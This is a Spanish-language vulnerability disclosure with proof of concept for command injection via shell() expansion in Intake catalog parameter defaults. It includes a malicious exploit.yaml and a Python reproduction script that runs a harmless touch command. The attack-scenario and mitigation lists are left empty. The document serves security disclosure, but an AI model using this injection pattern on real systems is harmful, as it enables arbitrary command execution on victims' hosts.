
Prueba de concepto que demuestra la inyección de comandos mediante la expansión shell() en los valores predeterminados de parámetros de catálogos Intake, con YAML de explotación y script de reproducción.
CVE-2026-33310 (Inyección de Comandos mediante la Expansión shell() en Valores por Defecto de Parámetros)
La sintaxis shell() dentro de los valores por defecto de parámetros parece expandirse automáticamente durante el proceso de análisis del catálogo. Si un catálogo contiene un valor por defecto de parámetro como shell(), el comando podría ejecutarse cuando se accede a la fuente del catálogo. Esto significa que si un usuario carga un YAML de catálogo malicioso, los comandos incrustados podrían ejecutarse en el sistema host. Este comportamiento podría clasificarse potencialmente como CWE-78: Inyección de Comandos del Sistema Operativo / Expansión Insegura de Shell.
El problema parece originarse en cómo se expanden los valores por defecto de parámetros cuando se accede a una fuente de catálogo.
Durante la carga del catálogo y el acceso a la fuente:
Intake resuelve los valores por defecto de parámetros La función responsable de expandir los valores por defecto procesa la sintaxis shell() La expresión shell() desencadena la ejecución de un subproceso Debido a que esto ocurre durante la evaluación del catálogo, el comando podría ejecutarse antes de que el usuario interactúe explícitamente con el propio conjunto de datos.
La lógica afectada parece involucrar:
expand_defaults()
y mecanismos relacionados de análisis de parámetros.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Probando la expansión de shell en parámetros"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Parámetro de Prueba"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] El archivo de prueba existe antes: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accediendo a la fuente...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error durante la ejecución: {e}")
if os.path.exists(PROOF_FILE):
print(f" Ejecución de comando confirmada, Encontrado: {PROOF_FILE}")
else:
print("La ejecución del comando no ocurrió.")
Un posible escenario de ataque podría ser:
Si se confirma que este comportamiento no es intencionado, un atacante podría distribuir un archivo de catálogo malicioso mediante:
Las posibles mitigaciones podrían incluir: